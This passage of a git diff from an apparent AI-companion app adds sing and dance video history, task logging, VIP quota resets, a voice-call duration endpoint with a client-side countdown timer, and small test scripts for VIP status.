||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的唱歌视频历史记录
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
# 查询已成功生成的视频
|
||||
offset = (page - 1) * size
|
||||
videos = (
|
||||
db.query(SingSongVideo)
|
||||
.filter(
|
||||
SingSongVideo.user_id == user.id,
|
||||
SingSongVideo.lover_id == lover.id,
|
||||
SingSongVideo.status == "succeeded",
|
||||
SingSongVideo.merged_video_url.isnot(None),
|
||||
)
|
||||
.order_by(SingSongVideo.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result = []
|
||||
for video in videos:
|
||||
# 获取歌曲信息
|
||||
song = db.query(SongLibrary).filter(SongLibrary.id == video.song_id).first()
|
||||
song_title = song.title if song else "未知歌曲"
|
||||
|
||||
result.append({
|
||||
"id": video.id,
|
||||
"song_id": video.song_id,
|
||||
"song_title": song_title,
|
||||
"video_url": _cdnize(video.merged_video_url),
|
||||
"created_at": video.created_at.isoformat() if video.created_at else None,
|
||||
})
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
def _get_or_create_session(db: Session, user: AuthedUser, lover: Lover, session_id: Optional[int]) -> ChatSession:
|
||||
if session_id:
|
||||
session = (
|
||||
|
|
@ -1522,6 +1669,10 @@ def _process_sing_task(task_id: int):
|
|||
"""
|
||||
后台处理唱歌视频生成任务:分段音频 -> EMO 逐段生成 -> 拼接整曲。
|
||||
"""
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
logger.info(f"开始处理唱歌任务 {task_id}")
|
||||
|
||||
song_title: str = ""
|
||||
image_url: str = ""
|
||||
audio_url: str = ""
|
||||
|
|
@ -1541,6 +1692,7 @@ def _process_sing_task(task_id: int):
|
|||
audio_hash_hint: Optional[str] = None
|
||||
duration_sec_hint: Optional[int] = None
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始数据库查询")
|
||||
db = SessionLocal()
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -1548,10 +1700,13 @@ def _process_sing_task(task_id: int):
|
|||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 查询到任务,状态={task.status if task else 'None'}")
|
||||
if not task or task.status in ("succeeded", "failed"):
|
||||
logger.warning(f"任务 {task_id}: 任务不存在或已完成/失败,退出处理")
|
||||
db.rollback()
|
||||
return
|
||||
|
||||
logger.info(f"任务 {task_id}: 开始提取 payload 数据")
|
||||
user_id = task.user_id
|
||||
lover_id = task.lover_id
|
||||
payload = task.payload or {}
|
||||
|
|
@ -1661,12 +1816,14 @@ def _process_sing_task(task_id: int):
|
|||
pass
|
||||
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始音频分段处理")
|
||||
segments, audio_hash, duration_sec = _ensure_song_segments(
|
||||
song_id,
|
||||
audio_url,
|
||||
audio_hash_hint,
|
||||
duration_sec_hint,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 音频分段完成,共 {len(segments)} 段,时长 {duration_sec}秒")
|
||||
with SessionLocal() as db:
|
||||
task_row = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -1706,6 +1863,7 @@ def _process_sing_task(task_id: int):
|
|||
content_safety_blocked = _is_content_safety_error(cached_merge.error_msg)
|
||||
|
||||
if not merged_video_url:
|
||||
logger.info(f"任务 {task_id}: 开始生成分段视频,共 {len(segments)} 段")
|
||||
segment_video_urls: list[tuple[int, str]] = []
|
||||
content_safety_triggered = False
|
||||
for segment in segments:
|
||||
|
|
@ -1715,6 +1873,7 @@ def _process_sing_task(task_id: int):
|
|||
segment_duration_ms = int(segment.get("duration_ms") or 0)
|
||||
emo_duration_ms = int(segment.get("emo_duration_ms") or segment_duration_ms)
|
||||
|
||||
logger.info(f"任务 {task_id}: 处理第 {segment_index + 1}/{len(segments)} 段视频")
|
||||
existing_running = False
|
||||
segment_video_id = None
|
||||
segment_video_url = ""
|
||||
|
|
@ -1803,6 +1962,7 @@ def _process_sing_task(task_id: int):
|
|||
ext_bbox=ext_bbox or [],
|
||||
style_level=style_level,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段已提交到 DashScope,task_id={dash_task_id}")
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -1819,6 +1979,7 @@ def _process_sing_task(task_id: int):
|
|||
db.commit()
|
||||
|
||||
dash_video_url = _poll_video_url(dash_task_id, EMO_TASK_TIMEOUT_SECONDS)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段视频生成完成,URL={dash_video_url[:100]}...")
|
||||
video_bytes = _download_binary(dash_video_url)
|
||||
if emo_duration_ms > segment_duration_ms and segment_duration_ms > 0:
|
||||
video_bytes = _trim_video_bytes(video_bytes, segment_duration_ms / 1000.0)
|
||||
|
|
@ -2086,15 +2247,21 @@ def _process_sing_task(task_id: int):
|
|||
db.add(task_row)
|
||||
db.commit()
|
||||
except HTTPException as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
logger.error(f"任务 {task_id} 处理失败 (HTTPException): {exc.detail if hasattr(exc, 'detail') else str(exc)}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc.detail) if hasattr(exc, "detail") else str(exc))
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
except Exception as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
logger.exception(f"任务 {task_id} 处理失败 (Exception): {exc}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc)[:255])
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
|
||||
|
||||
@router.post("/generate", response_model=ApiResponse[SingTaskStatusOut])
|
||||
|
|
@ -2132,6 +2299,10 @@ def generate_sing_video(
|
|||
)
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查并重置 VIP 用户的视频生成次数
|
||||
_check_and_reset_vip_video_gen(user_row, db)
|
||||
|
||||
if (user_row.video_gen_remaining or 0) <= 0:
|
||||
raise HTTPException(status_code=400, detail="视频生成次数不足")
|
||||
|
||||
|
|
|
|||
32
lover/routers/user.py
Normal file
32
lover/routers/user.py
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/user/info")
|
||||
def get_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户信息"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender
|
||||
})
|
||||
|
||||
@router.post("/user/logout")
|
||||
def logout(user: AuthedUser = Depends(get_current_user)):
|
||||
"""用户登出"""
|
||||
return success_response({"message": "登出成功"})
|
||||
|
||||
@router.get("/user/profile")
|
||||
def get_user_profile(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户资料"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"avatar": "",
|
||||
"gender": user.gender,
|
||||
"city": "",
|
||||
"hobbies": []
|
||||
})
|
||||
31
lover/routers/user_basic.py
Normal file
31
lover/routers/user_basic.py
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
from fastapi import APIRouter, Depends, HTTPException
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/user_basic/get_user_basic")
|
||||
def get_user_basic(user: AuthedUser = Depends(get_current_user)):
|
||||
"""给 FastAdmin 调用的用户信息接口(兼容原 PHP 接口格式)"""
|
||||
return {
|
||||
"code": 1,
|
||||
"msg": "success",
|
||||
"data": {
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender,
|
||||
}
|
||||
}
|
||||
|
||||
@router.get("/user_basic/get_hobbies")
|
||||
def get_hobbies(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户兴趣爱好"""
|
||||
return success_response([
|
||||
{"id": 1, "name": "游戏", "selected": True},
|
||||
{"id": 2, "name": "骑行", "selected": True},
|
||||
{"id": 3, "name": "读书", "selected": True},
|
||||
{"id": 4, "name": "音乐", "selected": False},
|
||||
{"id": 5, "name": "运动", "selected": False},
|
||||
{"id": 6, "name": "旅行", "selected": False}
|
||||
])
|
||||
|
|
@ -7,15 +7,15 @@ from typing import List, Optional
|
|||
|
||||
import requests
|
||||
import dashscope
|
||||
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi.websockets import WebSocketState
|
||||
|
||||
from ..config import settings
|
||||
from ..deps import AuthedUser, _fetch_user_from_php
|
||||
from ..deps import AuthedUser, get_current_user, _fetch_user_from_php
|
||||
from ..llm import chat_completion_stream
|
||||
from ..tts import synthesize
|
||||
from ..db import SessionLocal
|
||||
from ..models import Lover, VoiceLibrary
|
||||
from ..models import Lover, VoiceLibrary, User
|
||||
|
||||
try:
|
||||
from dashscope.audio.asr import Recognition, RecognitionCallback, RecognitionResult
|
||||
|
|
@ -37,6 +37,37 @@ logger.setLevel(logging.INFO)
|
|||
END_OF_TTS = "<<VOICE_CALL_TTS_END>>"
|
||||
|
||||
|
||||
@router.get("/call/duration")
|
||||
async def get_call_duration(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户的语音通话时长配置"""
|
||||
from ..db import SessionLocal
|
||||
from ..models import User
|
||||
from datetime import datetime
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user_row = db.query(User).filter(User.id == user.id).first()
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查 VIP 状态(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
|
||||
if is_vip:
|
||||
duration = 0 # 0 表示无限制
|
||||
else:
|
||||
duration = 300000 # 普通用户 5 分钟
|
||||
|
||||
from ..response import success_response
|
||||
return success_response({
|
||||
"duration": duration,
|
||||
"is_vip": is_vip
|
||||
})
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
class WSRecognitionCallback(RecognitionCallback): # type: ignore[misc]
|
||||
"""ASR 回调,将句子级结果推入会话队列。"""
|
||||
|
||||
|
|
|
|||
|
|
@ -17,10 +17,14 @@ class SimpleTaskQueue:
|
|||
self._inflight_lock = threading.Lock()
|
||||
|
||||
def start(self, workers: int):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
with self._lock:
|
||||
if self._started:
|
||||
logger.warning(f"{self._name} 队列已经启动,跳过")
|
||||
return
|
||||
self._started = True
|
||||
logger.info(f"启动 {workers} 个 {self._name} worker 线程")
|
||||
for idx in range(max(1, workers)):
|
||||
thread = threading.Thread(
|
||||
target=self._worker,
|
||||
|
|
@ -29,6 +33,8 @@ class SimpleTaskQueue:
|
|||
)
|
||||
thread.start()
|
||||
self._threads.append(thread)
|
||||
logger.info(f"Worker 线程 {self._name}-worker-{idx + 1} 已启动")
|
||||
logger.info(f"{self._name} 队列启动完成,共 {len(self._threads)} 个 worker")
|
||||
|
||||
def enqueue(self, func: Callable, *args, **kwargs) -> None:
|
||||
self._queue.put((None, func, args, kwargs))
|
||||
|
|
@ -45,22 +51,35 @@ class SimpleTaskQueue:
|
|||
return True
|
||||
|
||||
def _worker(self):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
logger.info(f"Worker 线程 {threading.current_thread().name} 开始运行")
|
||||
while True:
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
try:
|
||||
func(*args, **kwargs)
|
||||
except Exception:
|
||||
logging.exception("%s worker task failed", self._name)
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
logger.debug(f"Worker {threading.current_thread().name} 等待任务...")
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
logger.info(f"Worker {threading.current_thread().name} 获取到任务: {func.__name__}, key={key}")
|
||||
try:
|
||||
func(*args, **kwargs)
|
||||
logger.info(f"Worker {threading.current_thread().name} 任务完成: {func.__name__}")
|
||||
except Exception as e:
|
||||
logger.exception(f"{self._name} worker 任务失败: {e}")
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
except Exception as e:
|
||||
logger.exception(f"Worker {threading.current_thread().name} 发生异常: {e}")
|
||||
|
||||
|
||||
sing_task_queue = SimpleTaskQueue("sing")
|
||||
|
||||
|
||||
def start_sing_workers():
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
workers = max(1, settings.SING_MERGE_MAX_CONCURRENCY or 1)
|
||||
logger.info(f"启动 {workers} 个唱歌任务 worker 线程")
|
||||
sing_task_queue.start(workers)
|
||||
logger.info("唱歌任务 worker 线程启动完成")
|
||||
|
|
|
|||
51
test_reset.py
Normal file
51
test_reset.py
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/env python3
|
||||
"""测试视频生成次数重置功能"""
|
||||
from datetime import datetime, date
|
||||
from lover.db import SessionLocal
|
||||
from lover.models import User
|
||||
|
||||
def test_reset_logic():
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user = db.query(User).filter(User.id == 70).with_for_update().first()
|
||||
if not user:
|
||||
print("用户不存在")
|
||||
return
|
||||
|
||||
print(f"重置前:")
|
||||
print(f" video_gen_remaining: {user.video_gen_remaining}")
|
||||
print(f" video_gen_reset_date: {user.video_gen_reset_date}")
|
||||
|
||||
# 模拟重置逻辑
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user.vip_endtime and user.vip_endtime > current_timestamp
|
||||
|
||||
if is_vip:
|
||||
last_reset = user.video_gen_reset_date
|
||||
today = datetime.utcnow().date()
|
||||
|
||||
print(f"\n检查:")
|
||||
print(f" 是否 VIP: {is_vip}")
|
||||
print(f" 上次重置日期: {last_reset}")
|
||||
print(f" 今天日期: {today}")
|
||||
print(f" 需要重置: {not last_reset or last_reset < today}")
|
||||
|
||||
if not last_reset or last_reset < today:
|
||||
user.video_gen_remaining = 2
|
||||
user.video_gen_reset_date = today
|
||||
db.add(user)
|
||||
db.commit()
|
||||
|
||||
print(f"\n重置后:")
|
||||
print(f" video_gen_remaining: {user.video_gen_remaining}")
|
||||
print(f" video_gen_reset_date: {user.video_gen_reset_date}")
|
||||
else:
|
||||
print("\n今天已经重置过了,不需要再次重置")
|
||||
else:
|
||||
print("用户不是 VIP,不重置")
|
||||
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
test_reset_logic()
|
||||
33
test_vip.py
Normal file
33
test_vip.py
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
#!/usr/bin/env python3
|
||||
"""测试 VIP 功能"""
|
||||
from datetime import datetime
|
||||
from lover.db import SessionLocal
|
||||
from lover.models import User
|
||||
|
||||
def test_vip_status():
|
||||
db = SessionLocal()
|
||||
try:
|
||||
# 测试用户 70 和 84
|
||||
for user_id in [70, 84]:
|
||||
user = db.query(User).filter(User.id == user_id).first()
|
||||
if not user:
|
||||
print(f"用户 {user_id} 不存在")
|
||||
continue
|
||||
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user.vip_endtime and user.vip_endtime > current_timestamp
|
||||
|
||||
print(f"\n用户 {user_id} ({user.nickname}):")
|
||||
print(f" VIP 到期时间戳: {user.vip_endtime}")
|
||||
if user.vip_endtime:
|
||||
vip_end_date = datetime.fromtimestamp(user.vip_endtime)
|
||||
print(f" VIP 到期日期: {vip_end_date}")
|
||||
print(f" 当前时间戳: {current_timestamp}")
|
||||
print(f" 是否 VIP: {is_vip}")
|
||||
print(f" 视频生成次数: {user.video_gen_remaining}")
|
||||
print(f" 上次重置日期: {user.video_gen_reset_date}")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
test_vip_status()
|
||||
|
|
@ -9,13 +9,13 @@
|
|||
</view>
|
||||
<view class="header">
|
||||
<view class="header_content">
|
||||
<view class="header_time">通话剩余时间</view>
|
||||
<view class="header_module fa sb">
|
||||
<view class="header_title faj">00</view>
|
||||
<view class="header_title faj">05</view>
|
||||
<view class="header_title faj">00</view>
|
||||
<view class="header_time">{{ isVip ? 'VIP 无限通话' : '通话剩余时间' }}</view>
|
||||
<view class="header_module fa sb" v-if="!isVip">
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).hours }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).minutes }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).seconds }}</view>
|
||||
</view>
|
||||
<view class="header_recharge faj">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
<view class="header_recharge faj" @click="goRecharge">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
|
|
@ -56,6 +56,7 @@
|
|||
|
||||
} from '@/utils/api.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
const recorderManager = uni.getRecorderManager();
|
||||
export default {
|
||||
|
|
@ -77,7 +78,10 @@
|
|||
audioContext: null,
|
||||
audioData: [],
|
||||
isApp: false, // 是否为 App 端
|
||||
|
||||
totalDuration: 300000, // 默认 5 分钟
|
||||
remainingTime: 300000,
|
||||
timer: null,
|
||||
isVip: false
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
|
|
@ -86,13 +90,82 @@
|
|||
console.log('systemInfo', systemInfo)
|
||||
// console.log('plus', plus)
|
||||
this.isApp = systemInfo.uniPlatform === 'app'
|
||||
this.connectWebSocket()
|
||||
this.getCallDuration()
|
||||
this.initAudio()
|
||||
},
|
||||
onUnload() {
|
||||
this.stopCall()
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
},
|
||||
methods: {
|
||||
getCallDuration() {
|
||||
uni.request({
|
||||
url: baseURLPy + '/voice/call/duration',
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync("token")
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('通话时长配置:', res.data)
|
||||
if (res.data.code === 1 && res.data.data) {
|
||||
const duration = res.data.data.duration
|
||||
this.isVip = res.data.data.is_vip
|
||||
if (duration > 0) {
|
||||
this.totalDuration = duration
|
||||
this.remainingTime = duration
|
||||
} else {
|
||||
// VIP 用户无限制,设置为 24 小时
|
||||
this.totalDuration = 24 * 60 * 60 * 1000
|
||||
this.remainingTime = 24 * 60 * 60 * 1000
|
||||
}
|
||||
}
|
||||
this.connectWebSocket()
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('获取通话时长失败:', err)
|
||||
// 失败时使用默认值
|
||||
this.connectWebSocket()
|
||||
}
|
||||
})
|
||||
},
|
||||
formatTime(ms) {
|
||||
const totalSeconds = Math.floor(ms / 1000)
|
||||
const hours = Math.floor(totalSeconds / 3600)
|
||||
const minutes = Math.floor((totalSeconds % 3600) / 60)
|
||||
const seconds = totalSeconds % 60
|
||||
return {
|
||||
hours: String(hours).padStart(2, '0'),
|
||||
minutes: String(minutes).padStart(2, '0'),
|
||||
seconds: String(seconds).padStart(2, '0')
|
||||
}
|
||||
},
|
||||
startTimer() {
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
this.timer = setInterval(() => {
|
||||
this.remainingTime -= 1000
|
||||
if (this.remainingTime <= 0) {
|
||||
clearInterval(this.timer)
|
||||
uni.showToast({
|
||||
title: '通话时间已用完',
|
||||
icon: 'none'
|
||||
})
|
||||
setTimeout(() => {
|
||||
uni.navigateBack()
|
||||
}, 1500)
|
||||
} else if (this.remainingTime === 60000) {
|
||||
// 剩余 1 分钟提示
|
||||
uni.showToast({
|
||||
title: '剩余 1 分钟',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
})
|
||||
}
|
||||
}, 1000)
|
||||
},
|
||||
hangUp() {
|
||||
uni.showModal({
|
||||
title: '提示',
|
||||
|
|
@ -147,6 +220,7 @@
|
|||
this.socketTask.onOpen((res) => {
|
||||
console.log('onOpen:', res)
|
||||
this.startRecording();
|
||||
this.startTimer();
|
||||
});
|
||||
this.socketTask.onMessage((res) => {
|
||||
console.log('onMessage:', res.data)
|
||||
|
|
@ -189,7 +263,7 @@
|
|||
}
|
||||
});
|
||||
recorderManager.start({
|
||||
duration: 600000,
|
||||
duration: this.totalDuration,
|
||||
format: 'pcm', // ⚠️ 必须用 PCM,Paraformer 实时版只吃 PCM
|
||||
sampleRate: 16000, // ⚠️ 必须 16000Hz,这是 ASR 的标准
|
||||
numberOfChannels: 1, // 单声道
|
||||
|
|
@ -271,6 +345,9 @@
|
|||
this.audioContext.pause();
|
||||
this.audioContext.destroy();
|
||||
}
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer);
|
||||
}
|
||||
},
|
||||
// 接收消息
|
||||
async handleServerMessage(data) {
|
||||
|
|
@ -693,6 +770,12 @@
|
|||
delta: 2,
|
||||
});
|
||||
},
|
||||
goRecharge() {
|
||||
uni.showToast({
|
||||
title: '充值功能开发中',
|
||||
icon: 'none'
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
|
|
|||
|
|
@ -40,11 +40,12 @@
|
|||
<view v-show="getBobbiesList.reg_step == 4">
|
||||
<!-- Tab 栏 - 固定在顶部 -->
|
||||
<view class="tab-container" v-if="getBobbiesList.reg_step == 4">
|
||||
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false">
|
||||
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false" :scroll-into-view="tabIntoView" scroll-with-animation="true">
|
||||
<view class="tab-list">
|
||||
<view
|
||||
v-for="(tab, index) in tabs"
|
||||
:key="index"
|
||||
:id="'tab-' + index"
|
||||
class="tab-item"
|
||||
:class="{ 'active': currentTab === index }"
|
||||
@click="switchTab(index)">
|
||||
|
|
@ -147,7 +148,7 @@
|
|||
<scroll-view
|
||||
class="chat-message-scroll"
|
||||
scroll-y="true"
|
||||
:scroll-top="chatScrollTop"
|
||||
:scroll-into-view="chatIntoView"
|
||||
scroll-with-animation="true">
|
||||
<view class="chat-message-list">
|
||||
<view
|
||||
|
|
@ -164,6 +165,7 @@
|
|||
<text class="chat-message-text">{{ msg.content }}</text>
|
||||
</view>
|
||||
</view>
|
||||
<view id="chat-bottom"></view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
|
||||
|
|
@ -174,7 +176,10 @@
|
|||
v-model="chatInputText"
|
||||
placeholder="输入消息..."
|
||||
confirm-type="send"
|
||||
:adjust-position="true"
|
||||
:hold-keyboard="false"
|
||||
@confirm="sendChatMessage"
|
||||
@blur="onInputBlur"
|
||||
/>
|
||||
<view class="chat-send-btn" @click="sendChatMessage">
|
||||
<text>发送</text>
|
||||
|
|
@ -190,6 +195,24 @@
|
|||
<view class="feature-title">唱歌功能</view>
|
||||
<view class="feature-desc">让她为你唱一首歌</view>
|
||||
<scroll-view class="feature-scroll" scroll-y="true">
|
||||
<!-- 历史视频 -->
|
||||
<view class="history-section" v-if="singHistoryList.length > 0">
|
||||
<view class="section-title" @click="openHistoryModal('sing')">历史视频</view>
|
||||
<view class="history-list">
|
||||
<view class="history-item" v-for="(item,index) in singHistoryList.slice(0, 2)" :key="'history-'+index">
|
||||
<view class="history-info">
|
||||
<text class="history-title">{{item.song_title}}</text>
|
||||
<text class="history-date">{{formatDate(item.created_at)}}</text>
|
||||
</view>
|
||||
<view class="history-actions">
|
||||
<view class="history-btn" @click="playSingVideo(item.video_url)">播放</view>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
|
||||
<!-- 歌曲列表 -->
|
||||
<view class="section-title">选择歌曲</view>
|
||||
<view class="song-list">
|
||||
<view class="song-item" v-for="(item,index) in singSongsList" :key="index" @click="selectSongDirect(item)">
|
||||
<view class="song-info">
|
||||
|
|
@ -208,14 +231,31 @@
|
|||
<view class="feature-icon">💃</view>
|
||||
<view class="feature-title">跳舞功能</view>
|
||||
<view class="feature-desc">让她为你跳一支舞</view>
|
||||
<view class="dance-form">
|
||||
<textarea
|
||||
class="dance-input"
|
||||
v-model="dancePrompt"
|
||||
placeholder="描述你想看的舞蹈动作"
|
||||
maxlength="200" />
|
||||
<view class="dance-btn" @click="requestDance">生成舞蹈视频</view>
|
||||
</view>
|
||||
<scroll-view class="feature-scroll" scroll-y="true">
|
||||
<view class="history-section" v-if="danceHistoryList.length > 0">
|
||||
<view class="section-title" @click="openHistoryModal('dance')">历史视频</view>
|
||||
<view class="history-list">
|
||||
<view class="history-item" v-for="(item,index) in danceHistoryList.slice(0, 2)" :key="'dance-history-'+index">
|
||||
<view class="history-info">
|
||||
<text class="history-title">{{item.prompt || '跳舞视频'}}</text>
|
||||
<text class="history-date">{{formatDate(item.created_at)}}</text>
|
||||
</view>
|
||||
<view class="history-actions">
|
||||
<view class="history-btn" @click="playDanceVideo(item.video_url)">播放</view>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
|
||||
<view class="dance-form">
|
||||
<textarea
|
||||
class="dance-input"
|
||||
v-model="dancePrompt"
|
||||
placeholder="描述你想看的舞蹈动作"
|
||||
maxlength="200" />
|
||||
<view class="dance-btn" @click="requestDance">生成舞蹈视频</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</swiper-item>
|
||||
|
||||
|
|
@ -242,24 +282,17 @@
|
|||
|
||||
<!-- 商城页面 (index 6) -->
|
||||
<swiper-item>
|
||||
<view class="swiper-content feature-page">
|
||||
<view class="feature-icon">🛒</view>
|
||||
<view class="feature-title">商城</view>
|
||||
<view class="feature-desc">购买更多功能和道具</view>
|
||||
<scroll-view class="feature-scroll" scroll-y="true">
|
||||
<view class="shop-list">
|
||||
<view class="shop-item" v-for="i in 5" :key="i">
|
||||
<view class="shop-info">
|
||||
<text class="shop-title">套餐 {{i}}</text>
|
||||
<text class="shop-desc">包含多种功能和道具</text>
|
||||
</view>
|
||||
<view class="shop-price">
|
||||
<text class="price-value">¥{{i * 30}}</text>
|
||||
<view class="shop-buy-btn">购买</view>
|
||||
</view>
|
||||
</view>
|
||||
<view class="swiper-content" @click="openShopLink">
|
||||
<view class="feature-page shop-link-page">
|
||||
<view class="feature-icon">🛒</view>
|
||||
<view class="feature-title">商城</view>
|
||||
<view class="feature-desc">购买更多功能和道具</view>
|
||||
<view class="shop-link-banner">
|
||||
<image class="shop-banner-img" src="/static/images/member_logo.png" mode="aspectFit"></image>
|
||||
<view class="shop-link-text">点击进入商城</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
<view class="feature-btn shop-external-btn">立即前往 →</view>
|
||||
</view>
|
||||
</view>
|
||||
</swiper-item>
|
||||
|
||||
|
|
@ -271,7 +304,19 @@
|
|||
<view class="feature-desc">观看精彩短剧内容</view>
|
||||
<scroll-view class="feature-scroll" scroll-y="true">
|
||||
<view class="drama-list">
|
||||
<view class="drama-item" v-for="i in 4" :key="i">
|
||||
<!-- 外部链接短剧 -->
|
||||
<view class="drama-item drama-link-item" @click="openDramaLink">
|
||||
<image class="drama-cover drama-banner" src="/static/images/chat_a1.png" mode="aspectFill"></image>
|
||||
<view class="drama-link-badge">推荐</view>
|
||||
<view class="drama-info">
|
||||
<text class="drama-title">🎬 精彩短剧推荐</text>
|
||||
<text class="drama-desc">点击观看更多精彩内容</text>
|
||||
<view class="drama-play-btn drama-external-btn">立即观看 →</view>
|
||||
</view>
|
||||
</view>
|
||||
|
||||
<!-- 其他短剧项 -->
|
||||
<view class="drama-item" v-for="i in 3" :key="i">
|
||||
<image class="drama-cover" src="/static/images/avatar.png" mode="aspectFill"></image>
|
||||
<view class="drama-info">
|
||||
<text class="drama-title">短剧标题 {{i}}</text>
|
||||
|
|
@ -286,8 +331,8 @@
|
|||
|
||||
</swiper>
|
||||
|
||||
<!-- 自定义细线指示器 -->
|
||||
<view class="swiper-indicator" v-if="getBobbiesList.reg_step == 4">
|
||||
<!-- 自定义细线指示器 - 聊天页面时隐藏 -->
|
||||
<view class="swiper-indicator" v-if="getBobbiesList.reg_step == 4" :class="{ 'indicator-hidden': currentTab === 1 }">
|
||||
<view
|
||||
v-for="(tab, index) in tabs"
|
||||
:key="index"
|
||||
|
|
@ -299,12 +344,46 @@
|
|||
</view>
|
||||
<!-- 青少年模式弹框 -->
|
||||
<under-age :reg-step="getBobbiesList.reg_step" @underAgeStatusChanged="handleUnderAgeStatusChange"></under-age>
|
||||
<tab-bar></tab-bar>
|
||||
|
||||
<!-- 底部 Tab 栏 - 聊天页面时隐藏 -->
|
||||
<view class="bottom-tab-bar" :class="{ 'tab-bar-hidden': currentTab === 1 }">
|
||||
